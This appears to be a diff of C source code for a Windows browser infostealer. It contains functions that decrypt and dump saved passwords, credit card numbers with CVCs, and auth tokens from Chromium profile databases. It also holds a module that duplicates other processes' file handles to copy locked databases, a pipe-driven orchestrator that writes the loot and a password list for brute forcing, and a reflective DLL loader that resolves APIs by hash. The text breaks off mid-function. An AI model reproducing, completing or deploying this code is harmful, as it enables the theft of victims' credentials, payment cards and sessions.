if (!open_database(db_path, &db)) return NULL;
StringArray* results = string_array_create(50);
const char* query = "SELECT origin_url, username_value, password_value FROM logins;";
sqlite3_stmt* stmt = NULL;
if (sqlite3_prepare_v2(db, query, -1, &stmt, NULL) != SQLITE_OK) {
sqlite3_close(db);
return results;
}
while (sqlite3_step(stmt) == SQLITE_ROW) {
const uint8_t* blob = sqlite3_column_blob(stmt, 2);
int blob_len = sqlite3_column_bytes(stmt, 2);
if (!blob) continue;
ByteBuffer* plain = decrypt_gcm(ctx->aes_key, ctx->key_len, blob, blob_len);
if (!plain) continue;
char* origin = escape_json_string((const char*)sqlite3_column_text(stmt, 0));
char* user = escape_json_string((const char*)sqlite3_column_text(stmt, 1));
char* pass_raw = malloc(plain->size + 1);
memcpy(pass_raw, plain->data, plain->size);
pass_raw[plain->size] = '\0';
char* pass_esc = escape_json_string(pass_raw);
char json[MAX_JSON_LEN];
snprintf(json, sizeof(json),
" {\"origin\":\"%s\",\"username\":\"%s\",\"password\":\"%s\"}",
origin, user, pass_esc);
string_array_add(results, json);
free(origin);
free(user);
free(pass_raw);
free(pass_esc);
buffer_destroy(plain);
}
sqlite3_finalize(stmt);
sqlite3_close(db);
return results;
}
typedef struct {
char* guid;
uint8_t* blob;
int blob_len;
} CvcEntry;
StringArray* extract_payments(const ExtractionContext* ctx) {
if (!ctx) return NULL;
wchar_t db_path[MAX_PATH_LEN];
swprintf_s(db_path, MAX_PATH_LEN, L"%s\\Web Data", ctx->profile_path);
sqlite3* db = NULL;
if (!open_database(db_path, &db)) return NULL;
CvcEntry* cvc_table = NULL;
int cvc_count = 0;
sqlite3_stmt* cvc_stmt = NULL;
if (sqlite3_prepare_v2(db, "SELECT guid, value_encrypted FROM local_stored_cvc;", -1, &cvc_stmt, NULL) == SQLITE_OK) {
while (sqlite3_step(cvc_stmt) == SQLITE_ROW) {
cvc_table = realloc(cvc_table, sizeof(CvcEntry) * (cvc_count + 1));
const char* guid = (const char*)sqlite3_column_text(cvc_stmt, 0);
const uint8_t* blob = sqlite3_column_blob(cvc_stmt, 1);
int len = sqlite3_column_bytes(cvc_stmt, 1);
cvc_table[cvc_count].guid = _strdup(guid);
cvc_table[cvc_count].blob = malloc(len);
memcpy(cvc_table[cvc_count].blob, blob, len);
cvc_table[cvc_count].blob_len = len;
cvc_count++;
}
sqlite3_finalize(cvc_stmt);
}
StringArray* results = string_array_create(10);
const char* query = "SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards;";
sqlite3_stmt* stmt = NULL;
if (sqlite3_prepare_v2(db, query, -1, &stmt, NULL) == SQLITE_OK) {
while (sqlite3_step(stmt) == SQLITE_ROW) {
const char* guid = (const char*)sqlite3_column_text(stmt, 0);
char card_num[256] = { 0 };
char cvc_val[16] = { 0 };
const uint8_t* card_blob = sqlite3_column_blob(stmt, 4);
int card_blob_len = sqlite3_column_bytes(stmt, 4);
if (card_blob) {
ByteBuffer* plain = decrypt_gcm(ctx->aes_key, ctx->key_len, card_blob, card_blob_len);
if (plain) {
snprintf(card_num, sizeof(card_num), "%.*s", (int)plain->size, plain->data);
buffer_destroy(plain);
}
}
for (int i = 0; i < cvc_count; i++) {
if (strcmp(guid, cvc_table[i].guid) == 0) {
ByteBuffer* plain_cvc = decrypt_gcm(ctx->aes_key, ctx->key_len, cvc_table[i].blob, cvc_table[i].blob_len);
if (plain_cvc) {
snprintf(cvc_val, sizeof(cvc_val), "%.*s", (int)plain_cvc->size, plain_cvc->data);
buffer_destroy(plain_cvc);
}
break;
}
}
char* name = escape_json_string((const char*)sqlite3_column_text(stmt, 1));
char* card_esc = escape_json_string(card_num);
char* cvc_esc = escape_json_string(cvc_val);
char json[MAX_JSON_LEN];
snprintf(json, sizeof(json),
" {\"name_on_card\":\"%s\",\"expiration_month\":%d,\"expiration_year\":%d,\"card_number\":\"%s\",\"cvc\":\"%s\"}",
name, sqlite3_column_int(stmt, 2), sqlite3_column_int(stmt, 3), card_esc, cvc_esc);
string_array_add(results, json);
free(name); free(card_esc); free(cvc_esc);
}
sqlite3_finalize(stmt);
}
for (int i = 0; i < cvc_count; i++) {
free(cvc_table[i].guid);
free(cvc_table[i].blob);
}
free(cvc_table);
sqlite3_close(db);
return results;
}
StringArray* extract_tokens(const ExtractionContext* ctx) {
if (!ctx) return NULL;
wchar_t db_path[MAX_PATH_LEN];
swprintf_s(db_path, MAX_PATH_LEN, L"%s\\Web Data", ctx->profile_path);
sqlite3* db = NULL;
if (!open_database(db_path, &db)) return NULL;
StringArray* results = string_array_create(20);
if (!results) {
sqlite3_close(db);
return NULL;
}
bool has_binding_key = true;
const char* query_with_key = "SELECT service, encrypted_token, binding_key FROM token_service;";
const char* query_without_key = "SELECT service, encrypted_token FROM token_service;";
sqlite3_stmt* stmt = NULL;
if (sqlite3_prepare_v2(db, query_with_key, -1, &stmt, NULL) != SQLITE_OK) {
has_binding_key = false;
if (sqlite3_prepare_v2(db, query_without_key, -1, &stmt, NULL) != SQLITE_OK) {
sqlite3_close(db);
string_array_destroy(results);
return NULL;
}
}
while (sqlite3_step(stmt) == SQLITE_ROW) {
const uint8_t* token_blob = sqlite3_column_blob(stmt, 1);
int token_len = sqlite3_column_bytes(stmt, 1);
if (!token_blob || token_len <= 0) continue;
ByteBuffer* plain_token = decrypt_gcm(ctx->aes_key, ctx->key_len,
token_blob, token_len);
if (!plain_token) continue;
char* token_str = malloc(plain_token->size + 1);
if (!token_str) {
buffer_destroy(plain_token);
continue;
}
memcpy(token_str, plain_token->data, plain_token->size);
token_str[plain_token->size] = '\0';
buffer_destroy(plain_token);
char binding_key_str[512] = {};
if (has_binding_key) {
const uint8_t* key_blob = sqlite3_column_blob(stmt, 2);
int key_len = sqlite3_column_bytes(stmt, 2);
if (key_blob && key_len > 0) {
ByteBuffer* plain_key = decrypt_gcm(ctx->aes_key, ctx->key_len, key_blob, key_len);
if (plain_key) {
snprintf(binding_key_str, sizeof(binding_key_str), "%.*s", (int)plain_key->size, plain_key->data);
buffer_destroy(plain_key);
}
}
}
char* service = escape_json_string((const char*)sqlite3_column_text(stmt, 0));
char* token_esc = escape_json_string(token_str);
char* binding_esc = escape_json_string(binding_key_str);
char json[MAX_JSON_LEN];
snprintf(json, sizeof(json), " {\"service\":\"%s\",\"token\":\"%s\",\"binding_key\":\"%s\"}", service, token_esc, binding_esc);
string_array_add(results, json);
free(service);
free(token_esc);
free(binding_esc);
free(token_str);
}
sqlite3_finalize(stmt);
sqlite3_close(db);
return results;
}
+220
View File
@@ -0,0 +1,220 @@
#include "handle_duplicator.h"
#include <winternl.h>
#include <RestartManager.h>
#include <stdio.h>
#pragma comment(lib, "Rstrtmgr.lib")
typedef NTSTATUS(NTAPI* NtQueryObject_t)(
HANDLE Handle,
ULONG ObjectInformationClass,
PVOID ObjectInformation,
ULONG ObjectInformationLength,
PULONG ReturnLength
);
#define ObjectNameInformation 1
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
typedef struct _OBJECT_NAME_INFORMATION {
UNICODE_STRING Name;
WCHAR NameBuffer[1];
} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;
static bool get_processes_using_file(const wchar_t* file_path, DWORD* pids, DWORD* pid_count, DWORD max_pids) {
DWORD session;
WCHAR session_key[CCH_RM_SESSION_KEY + 1] = { 0 };
DWORD error;
error = RmStartSession(&session, 0, session_key);
if (error != ERROR_SUCCESS) {
return false;
}
LPCWSTR file_paths[1] = { file_path };
error = RmRegisterResources(session, 1, file_paths, 0, NULL, 0, NULL);
if (error != ERROR_SUCCESS) {
RmEndSession(session);
return false;
}
DWORD reason;
UINT proc_info_needed;
UINT proc_info_count = 10;
RM_PROCESS_INFO* proc_info = (RM_PROCESS_INFO*)malloc(sizeof(RM_PROCESS_INFO) * proc_info_count);
if (!proc_info) {
RmEndSession(session);
return false;
}
error = RmGetList(session, &proc_info_needed, &proc_info_count, proc_info, &reason);
if (error == ERROR_MORE_DATA) {
proc_info_count = proc_info_needed;
free(proc_info);
proc_info = (RM_PROCESS_INFO*)malloc(sizeof(RM_PROCESS_INFO) * proc_info_count);
if (!proc_info) {
RmEndSession(session);
return false;
}
error = RmGetList(session, &proc_info_needed, &proc_info_count, proc_info, &reason);
}
bool found = false;
if (error == ERROR_SUCCESS && proc_info_count > 0) {
DWORD count = proc_info_count < max_pids ? proc_info_count : max_pids;
for (UINT i = 0; i < count; i++) {
pids[i] = proc_info[i].Process.dwProcessId;
}
*pid_count = count;
found = true;
}
free(proc_info);
RmEndSession(session);
return found;
}
static bool get_file_handle_from_process(DWORD pid, const wchar_t* file_path, HANDLE* out_handle) {
HANDLE process = OpenProcess(PROCESS_DUP_HANDLE, FALSE, pid);
if (!process) {
return false;
}
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
if (!ntdll) {
CloseHandle(process);
return false;
}
NtQueryObject_t pNtQueryObject = (NtQueryObject_t)GetProcAddress(ntdll, "NtQueryObject");
if (!pNtQueryObject) {
CloseHandle(process);
return false;
}
wchar_t normalized_path[MAX_PATH];
if (!GetFullPathNameW(file_path, MAX_PATH, normalized_path, NULL)) {
CloseHandle(process);
return false;
}
for (wchar_t* p = normalized_path; *p; p++) {
*p = towlower(*p);
}
bool found = false;
HANDLE current_process = GetCurrentProcess();
for (DWORD handle_value = 4; handle_value < 0x10000; handle_value += 4) {
HANDLE dup_handle = NULL;
if (!DuplicateHandle(process, (HANDLE)(ULONG_PTR)handle_value, current_process,
&dup_handle, 0, FALSE, DUPLICATE_SAME_ACCESS)) {
continue;
}
DWORD file_type = GetFileType(dup_handle);
if (file_type != FILE_TYPE_DISK) {
CloseHandle(dup_handle);
continue;
}
wchar_t handle_path[MAX_PATH] = { 0 };
DWORD path_len = GetFinalPathNameByHandleW(dup_handle, handle_path, MAX_PATH, FILE_NAME_NORMALIZED);
if (path_len > 0 && path_len < MAX_PATH) {
wchar_t* actual_path = handle_path;
if (wcsncmp(handle_path, L"\\\\?\\", 4) == 0) {
actual_path = handle_path + 4;
}
wchar_t handle_normalized[MAX_PATH];
if (GetFullPathNameW(actual_path, MAX_PATH, handle_normalized, NULL)) {
for (wchar_t* p = handle_normalized; *p; p++) {
*p = towlower(*p);
}
if (wcscmp(handle_normalized, normalized_path) == 0) {
*out_handle = dup_handle;
found = true;
break;
}
}
}
CloseHandle(dup_handle);
}
CloseHandle(process);
return found;
}
bool copy_locked_file(const wchar_t* source_path, const wchar_t* dest_path) {
DWORD pids[32];
DWORD pid_count = 0;
if (!get_processes_using_file(source_path, pids, &pid_count, 32)) {
if (CopyFileW(source_path, dest_path, FALSE)) {
return true;
}
return false;
}
HANDLE file_handle = NULL;
for (DWORD i = 0; i < pid_count; i++) {
if (get_file_handle_from_process(pids[i], source_path, &file_handle)) {
break;
}
}
if (!file_handle) {
return false;
}
LARGE_INTEGER file_size;
if (!GetFileSizeEx(file_handle, &file_size)) {
CloseHandle(file_handle);
return false;
}
BYTE* buffer = (BYTE*)malloc((size_t)file_size.QuadPart);
if (!buffer) {
CloseHandle(file_handle);
return false;
}
SetFilePointer(file_handle, 0, NULL, FILE_BEGIN);
DWORD bytes_read = 0;
BOOL read_result = ReadFile(file_handle, buffer, (DWORD)file_size.QuadPart, &bytes_read, NULL);
CloseHandle(file_handle);
if (!read_result || bytes_read != file_size.QuadPart) {
free(buffer);
return false;
}
HANDLE dest_file = CreateFileW(dest_path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (dest_file == INVALID_HANDLE_VALUE) {
free(buffer);
return false;
}
DWORD bytes_written = 0;
BOOL write_result = WriteFile(dest_file, buffer, bytes_read, &bytes_written, NULL);
CloseHandle(dest_file);
free(buffer);
if (!write_result || bytes_written != bytes_read) {
return false;
}
return true;
}
+292
View File
@@ -0,0 +1,292 @@
#include "orchestrator.h"
#include "browser.h"
#include "crypto.h"
#include "profile.h"
#include "extractor.h"
#include "buffer.h"
#include <Windows.h>
#include <ShlObj.h>
#include <stdio.h>
#include <string.h>
bool orchestrator_init(OrchestratorConfig* config, const wchar_t* pipe_name) {
if (!config || !pipe_name) return false;
wcsncpy_s(config->pipe_name, 256, pipe_name, _TRUNCATE);
config->extract_fingerprint = false;
config->output_path[0] = L'\0';
config->pipe_handle = CreateFileW(pipe_name, GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
if (config->pipe_handle == INVALID_HANDLE_VALUE) {
return false;
}
char buffer[MAX_PATH + 1];
DWORD bytes_read;
// skip first parameter then read fingerprint flag
ReadFile(config->pipe_handle, buffer, sizeof(buffer) - 1, &bytes_read, NULL);
ReadFile(config->pipe_handle, buffer, sizeof(buffer) - 1, &bytes_read, NULL);
buffer[bytes_read] = '\0';
config->extract_fingerprint = (strcmp(buffer, "FINGERPRINT_TRUE") == 0);
ReadFile(config->pipe_handle, buffer, sizeof(buffer) - 1, &bytes_read, NULL);
buffer[bytes_read] = '\0';
MultiByteToWideChar(CP_UTF8, 0, buffer, -1, config->output_path, MAX_PATH_LEN);
return true;
}
void orchestrator_cleanup(OrchestratorConfig* config) {
if (!config) return;
if (config->pipe_handle != INVALID_HANDLE_VALUE) {
const char* completion = "__DLL_PIPE_COMPLETION_SIGNAL__";
DWORD written;
WriteFile(config->pipe_handle, completion, (DWORD)strlen(completion), &written, NULL);
FlushFileBuffers(config->pipe_handle);
CloseHandle(config->pipe_handle);
config->pipe_handle = INVALID_HANDLE_VALUE;
}
}
static void extract_password_from_json(const char* json, StringArray* passwords) {
const char* pwd_tag = "\"password\":\"";
char* pos = strstr(json, pwd_tag);
if (!pos) return;
pos += strlen(pwd_tag);
char* end = strchr(pos, '"');
if (!end) return;
size_t pwd_len = end - pos;
char* pwd = malloc(pwd_len + 1);
if (!pwd) return;
memcpy(pwd, pos, pwd_len);
pwd[pwd_len] = '\0';
if (!string_array_contains(passwords, pwd)) {
string_array_add(passwords, pwd);
}
free(pwd);
}
static void extract_domain_from_netscape(const char* netscape_line, StringArray* domains) {
char* domain_end = strchr(netscape_line, '\t');
if (!domain_end) return;
size_t domain_len = domain_end - netscape_line;
char* domain = malloc(domain_len + 1);
if (!domain) return;
memcpy(domain, netscape_line, domain_len);
domain[domain_len] = '\0';
char* clean_domain = domain;
if (clean_domain[0] == '.') clean_domain++;
if (!string_array_contains(domains, clean_domain)) {
string_array_add(domains, clean_domain);
}
free(domain);
}
static void write_brute_file(const wchar_t* output_path, StringArray* all_passwords) {
if (!output_path || !all_passwords) return;
wchar_t file_path[MAX_PATH_LEN];
swprintf_s(file_path, MAX_PATH_LEN, L"%s\\Brute.txt", output_path);
StringArray* unique = string_array_create(all_passwords->count);
if (!unique) return;
FILE* f = NULL;
if (_wfopen_s(&f, file_path, L"r") == 0 && f) {
char line[1024];
while (fgets(line, sizeof(line), f)) {
size_t len = strlen(line);
if (len > 0 && line[len - 1] == '\n') line[len - 1] = '\0';
if (len > 0) string_array_add(unique, line);
}
fclose(f);
}
for (size_t i = 0; i < all_passwords->count; i++) {
if (!string_array_contains(unique, all_passwords->items[i])) {
string_array_add(unique, all_passwords->items[i]);
}
}
if (_wfopen_s(&f, file_path, L"w") == 0 && f) {
for (size_t i = 0; i < unique->count; i++) {
fprintf(f, "%s\n", unique->items[i]);
}
fclose(f);
}
string_array_destroy(unique);
}
static void write_domains_file(const wchar_t* output_path, StringArray* all_domains) {
if (!output_path || !all_domains) return;
wchar_t file_path[MAX_PATH_LEN];
swprintf_s(file_path, MAX_PATH_LEN, L"%s\\Domains.txt", output_path);
StringArray* unique = string_array_create(all_domains->count);
if (!unique) return;
FILE* f = NULL;
if (_wfopen_s(&f, file_path, L"r") == 0 && f) {
char line[1024];
while (fgets(line, sizeof(line), f)) {
size_t len = strlen(line);
if (len > 0 && line[len - 1] == '\n') line[len - 1] = '\0';
if (len > 0) string_array_add(unique, line);
}
fclose(f);
}
for (size_t i = 0; i < all_domains->count; i++) {
if (!string_array_contains(unique, all_domains->items[i])) {
string_array_add(unique, all_domains->items[i]);
}
}
if (_wfopen_s(&f, file_path, L"w") == 0 && f) {
for (size_t i = 0; i < unique->count; i++) {
fprintf(f, "%s\n", unique->items[i]);
}
fclose(f);
}
string_array_destroy(unique);
}
bool orchestrator_run(OrchestratorConfig* config) {
if (!config) {
return false;
}
BrowserConfig browser_config;
if (!browser_get_config_for_process(&browser_config)) {
return false;
}
wchar_t user_data_path[MAX_PATH_LEN];
if (!browser_get_user_data_path(&browser_config, user_data_path, MAX_PATH_LEN)) {
return false;
}
wchar_t local_state_path[MAX_PATH_LEN];
swprintf_s(local_state_path, MAX_PATH_LEN, L"%s\\Local State", user_data_path);
ByteBuffer* encrypted_key = get_encrypted_master_key(local_state_path);
if (!encrypted_key) {
return false;
}
ByteBuffer* aes_key = decrypt_master_key_via_com(
&browser_config,
encrypted_key->data,
encrypted_key->size
);
buffer_destroy(encrypted_key);
if (!aes_key) {
return false;
}
ProfileList* profiles = profile_find_all(user_data_path);
if (!profiles) {
buffer_destroy(aes_key);
return false;
}
StringArray* all_passwords = string_array_create(100);
StringArray* all_domains = string_array_create(500);
for (size_t i = 0; i < profiles->count; i++) {
ExtractionContext ctx = {
.profile_path = profiles->paths[i].path,
.output_base = config->output_path,
.browser_name = browser_config.name,
.aes_key = aes_key->data,
.key_len = aes_key->size
};
wchar_t profile_name[256];
wchar_t* last_slash = wcsrchr(profiles->paths[i].path, L'\\');
wcscpy_s(profile_name, 256, last_slash ? last_slash + 1 : L"Default");
wchar_t profile_output_dir[MAX_PATH_LEN];
swprintf_s(
profile_output_dir,
MAX_PATH_LEN,
L"%s\\%S\\%s",
config->output_path,
browser_config.name,
profile_name
);
SHCreateDirectoryExW(NULL, profile_output_dir, NULL);
StringArray* cookies = extract_cookies(&ctx);
if (cookies) {
if (cookies->count > 0) {
wchar_t out_path[MAX_PATH_LEN];
swprintf_s(out_path, MAX_PATH_LEN, L"%s\\cookies.txt", profile_output_dir);
if (write_netscape_cookies(out_path, cookies)) {
for (size_t j = 0; j < cookies->count; j++) {
extract_domain_from_netscape(cookies->items[j], all_domains);
}
}
}
string_array_destroy(cookies);
}
StringArray* passwords = extract_passwords(&ctx);
if (passwords && passwords->count > 0) {
wchar_t out_path[MAX_PATH_LEN];
swprintf_s(out_path, MAX_PATH_LEN, L"%s\\passwords.json", profile_output_dir);
write_json_array(out_path, passwords);
for (size_t j = 0; j < passwords->count; j++) {
extract_password_from_json(passwords->items[j], all_passwords);
}
string_array_destroy(passwords);
}
StringArray* payments = extract_payments(&ctx);
if (payments && payments->count > 0) {
wchar_t out_path[MAX_PATH_LEN];
swprintf_s(out_path, MAX_PATH_LEN, L"%s\\payments.json", profile_output_dir);
write_json_array(out_path, payments);
string_array_destroy(payments);
}
StringArray* tokens = extract_tokens(&ctx);
if (tokens && tokens->count > 0) {
wchar_t out_path[MAX_PATH_LEN];
swprintf_s(out_path, MAX_PATH_LEN, L"%s\\tokens.json", profile_output_dir);
write_json_array(out_path, tokens);
string_array_destroy(tokens);
}
}
write_brute_file(config->output_path, all_passwords);
write_domains_file(config->output_path, all_domains);
string_array_destroy(all_passwords);
string_array_destroy(all_domains);
profile_list_destroy(profiles);
buffer_destroy(aes_key);
cleanup_temp_files();
return true;
}
+54
View File
@@ -0,0 +1,54 @@
#include "profile.h"
#include "buffer.h"
#include <windows.h>
#include <stdio.h>
static bool profile_has_database(const wchar_t* profile_path, const wchar_t* db_relative_path) {
wchar_t full_path[MAX_PATH_LEN];
swprintf_s(full_path, MAX_PATH_LEN, L"%s\\%s", profile_path, db_relative_path);
DWORD attrs = GetFileAttributesW(full_path);
return (attrs != INVALID_FILE_ATTRIBUTES && !(attrs & FILE_ATTRIBUTE_DIRECTORY));
}
static bool is_profile_directory(const wchar_t* path) {
const wchar_t* check_paths[] = { L"Network\\Cookies", L"Login Data", L"Web Data" };
for (int i = 0; i < 3; i++) {
if (profile_has_database(path, check_paths[i])) return true;
}
return false;
}
ProfileList* profile_find_all(const wchar_t* user_data_root) {
ProfileList* list = profile_list_create(10);
if (!list) return NULL;
if (is_profile_directory(user_data_root)) {
profile_list_add(list, user_data_root);
}
wchar_t search_path[MAX_PATH_LEN];
swprintf_s(search_path, MAX_PATH_LEN, L"%s\\*", user_data_root);
WIN32_FIND_DATAW find_data;
HANDLE hFind = FindFirstFileW(search_path, &find_data);
if (hFind != INVALID_HANDLE_VALUE) {
do {
if (wcscmp(find_data.cFileName, L".") == 0 || wcscmp(find_data.cFileName, L"..") == 0)
continue;
if (find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
wchar_t current_path[MAX_PATH_LEN];
swprintf_s(current_path, MAX_PATH_LEN, L"%s\\%s", user_data_root, find_data.cFileName);
if (is_profile_directory(current_path)) {
profile_list_add(list, current_path);
}
}
} while (FindNextFileW(hFind, &find_data));
FindClose(hFind);
}
return list;
}
+265
View File
@@ -0,0 +1,265 @@
#include <windows.h>
#include "reflective_loader.h"
#ifdef _MSC_VER
#pragma intrinsic(_ReturnAddress)
#pragma intrinsic(_rotr)
#define NOINLINE __declspec(noinline)
#else
#define NOINLINE __attribute__((noinline))
#endif
static DWORD ror_dword_loader(DWORD d)
{
#ifdef _MSC_VER
return _rotr(d, HASH_KEY);
#else
return (d >> HASH_KEY) | (d << (32 - HASH_KEY));
#endif
}
static DWORD hash_string_loader(char *c)
{
DWORD h = 0;
do
{
h = ror_dword_loader(h);
h += *c;
} while (*++c);
return h;
}
NOINLINE ULONG_PTR GetIp(VOID)
{
#ifdef _MSC_VER
return (ULONG_PTR)_ReturnAddress();
#else
return (ULONG_PTR)__builtin_return_address(0);
#endif
}
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpLoaderParameter)
{
LOADLIBRARYA_FN fnLoadLibraryA = NULL;
GETPROCADDRESS_FN fnGetProcAddress = NULL;
VIRTUALALLOC_FN fnVirtualAlloc = NULL;
NTFLUSHINSTRUCTIONCACHE_FN fnNtFlushInstructionCache = NULL;
ULONG_PTR uiDllBase;
ULONG_PTR uiPeb;
ULONG_PTR uiKernel32Base = 0;
ULONG_PTR uiNtdllBase = 0;
PIMAGE_NT_HEADERS pNtHeaders_current;
PIMAGE_DOS_HEADER pDosHeader_current;
uiDllBase = GetIp();
while (TRUE)
{
pDosHeader_current = (PIMAGE_DOS_HEADER)uiDllBase;
if (pDosHeader_current->e_magic == IMAGE_DOS_SIGNATURE)
{
pNtHeaders_current = (PIMAGE_NT_HEADERS)(uiDllBase + pDosHeader_current->e_lfanew);
if (pNtHeaders_current->Signature == IMAGE_NT_SIGNATURE)
break;
}
uiDllBase--;
}
#if defined(_M_X64)
uiPeb = __readgsqword(0x60);
#elif defined(_M_ARM64)
uiPeb = __readx18qword(0x60);
#else
return 0;
#endif
PPEB_LDR_DATA_LDR pLdr = ((PPEB_LDR)uiPeb)->Ldr;
PLIST_ENTRY pModuleList = &(pLdr->InMemoryOrderModuleList);
PLIST_ENTRY pCurrentEntry = pModuleList->Flink;
while (pCurrentEntry != pModuleList && (!uiKernel32Base || !uiNtdllBase))
{
PLDR_DATA_TABLE_ENTRY_LDR pEntry = (PLDR_DATA_TABLE_ENTRY_LDR)CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY_LDR, InMemoryOrderLinks);
if (pEntry->BaseDllName.Length > 0 && pEntry->BaseDllName.Buffer != NULL)
{
DWORD dwModuleHash = 0;
USHORT usCounter = pEntry->BaseDllName.Length;
BYTE *pNameByte = (BYTE *)pEntry->BaseDllName.Buffer;
do
{
dwModuleHash = ror_dword_loader(dwModuleHash);
if (*pNameByte >= 'a' && *pNameByte <= 'z')
{
dwModuleHash += (*pNameByte - 0x20);
}
else
{
dwModuleHash += *pNameByte;
}
pNameByte++;
} while (--usCounter);
if (dwModuleHash == KERNEL32DLL_HASH)
{
uiKernel32Base = (ULONG_PTR)pEntry->DllBase;
}
else if (dwModuleHash == NTDLLDLL_HASH)
{
uiNtdllBase = (ULONG_PTR)pEntry->DllBase;
}
}
pCurrentEntry = pCurrentEntry->Flink;
}
if (!uiKernel32Base || !uiNtdllBase)
return 0;
PIMAGE_DOS_HEADER pDosKernel32 = (PIMAGE_DOS_HEADER)uiKernel32Base;
PIMAGE_NT_HEADERS pNtKernel32 = (PIMAGE_NT_HEADERS)(uiKernel32Base + pDosKernel32->e_lfanew);
ULONG_PTR uiExportDirK32 = uiKernel32Base + pNtKernel32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY pExportDirK32 = (PIMAGE_EXPORT_DIRECTORY)uiExportDirK32;
ULONG_PTR uiAddressOfNamesK32 = uiKernel32Base + pExportDirK32->AddressOfNames;
ULONG_PTR uiAddressOfFunctionsK32 = uiKernel32Base + pExportDirK32->AddressOfFunctions;
ULONG_PTR uiAddressOfNameOrdinalsK32 = uiKernel32Base + pExportDirK32->AddressOfNameOrdinals;
for (DWORD i = 0; i < pExportDirK32->NumberOfNames; i++)
{
char *sName = (char *)(uiKernel32Base + ((DWORD *)uiAddressOfNamesK32)[i]);
DWORD dwHashVal = hash_string_loader(sName);
if (dwHashVal == LOADLIBRARYA_HASH)
fnLoadLibraryA = (LOADLIBRARYA_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]);
else if (dwHashVal == GETPROCADDRESS_HASH)
fnGetProcAddress = (GETPROCADDRESS_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]);
else if (dwHashVal == VIRTUALALLOC_HASH)
fnVirtualAlloc = (VIRTUALALLOC_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]);
if (fnLoadLibraryA && fnGetProcAddress && fnVirtualAlloc)
break;
}
if (!fnLoadLibraryA || !fnGetProcAddress || !fnVirtualAlloc)
return 0;
PIMAGE_DOS_HEADER pDosNtdll = (PIMAGE_DOS_HEADER)uiNtdllBase;
PIMAGE_NT_HEADERS pNtNtdll = (PIMAGE_NT_HEADERS)(uiNtdllBase + pDosNtdll->e_lfanew);
ULONG_PTR uiExportDirNtdll = uiNtdllBase + pNtNtdll->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY pExportDirNtdll = (PIMAGE_EXPORT_DIRECTORY)uiExportDirNtdll;
ULONG_PTR uiAddressOfNamesNtdll = uiNtdllBase + pExportDirNtdll->AddressOfNames;
ULONG_PTR uiAddressOfFunctionsNtdll = uiNtdllBase + pExportDirNtdll->AddressOfFunctions;
ULONG_PTR uiAddressOfNameOrdinalsNtdll = uiNtdllBase + pExportDirNtdll->AddressOfNameOrdinals;
for (DWORD i = 0; i < pExportDirNtdll->NumberOfNames; i++)
{
char *sName = (char *)(uiNtdllBase + ((DWORD *)uiAddressOfNamesNtdll)[i]);
if (hash_string_loader(sName) == NTFLUSHINSTRUCTIONCACHE_HASH)
{
fnNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE_FN)(uiNtdllBase + ((DWORD *)uiAddressOfFunctionsNtdll)[((WORD *)uiAddressOfNameOrdinalsNtdll)[i]]);
break;
}
}
if (!fnNtFlushInstructionCache)
return 0;
PIMAGE_NT_HEADERS pOldNtHeaders = pNtHeaders_current;
ULONG_PTR uiNewImageBase = (ULONG_PTR)fnVirtualAlloc(NULL, pOldNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!uiNewImageBase)
return 0;
PBYTE pSourceBytes = (PBYTE)uiDllBase;
PBYTE pDestinationBytes = (PBYTE)uiNewImageBase;
DWORD dwBytesToCopy = pOldNtHeaders->OptionalHeader.SizeOfHeaders;
while (dwBytesToCopy--)
{
*pDestinationBytes++ = *pSourceBytes++;
}
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&pOldNtHeaders->OptionalHeader + pOldNtHeaders->FileHeader.SizeOfOptionalHeader);
for (WORD i = 0; i < pOldNtHeaders->FileHeader.NumberOfSections; i++)
{
pSourceBytes = (PBYTE)(uiDllBase + pSectionHeader[i].PointerToRawData);
pDestinationBytes = (PBYTE)(uiNewImageBase + pSectionHeader[i].VirtualAddress);
dwBytesToCopy = pSectionHeader[i].SizeOfRawData;
while (dwBytesToCopy--)
{
*pDestinationBytes++ = *pSourceBytes++;
}
}
ULONG_PTR uiDelta = uiNewImageBase - pOldNtHeaders->OptionalHeader.ImageBase;
PIMAGE_DATA_DIRECTORY pRelocationData = &pOldNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (pRelocationData->Size > 0 && uiDelta != 0)
{
PIMAGE_BASE_RELOCATION pRelocBlock = (PIMAGE_BASE_RELOCATION)(uiNewImageBase + pRelocationData->VirtualAddress);
while (pRelocBlock->VirtualAddress)
{
DWORD dwEntryCount = (pRelocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
PIMAGE_RELOC_ENTRY pRelocEntry = (PIMAGE_RELOC_ENTRY)((ULONG_PTR)pRelocBlock + sizeof(IMAGE_BASE_RELOCATION));
for (DWORD k = 0; k < dwEntryCount; k++)
{
#if defined(_M_X64) || defined(_M_ARM64)
if (pRelocEntry[k].type == IMAGE_REL_BASED_DIR64)
{
*(ULONG_PTR *)(uiNewImageBase + pRelocBlock->VirtualAddress + pRelocEntry[k].offset) += uiDelta;
}
#else
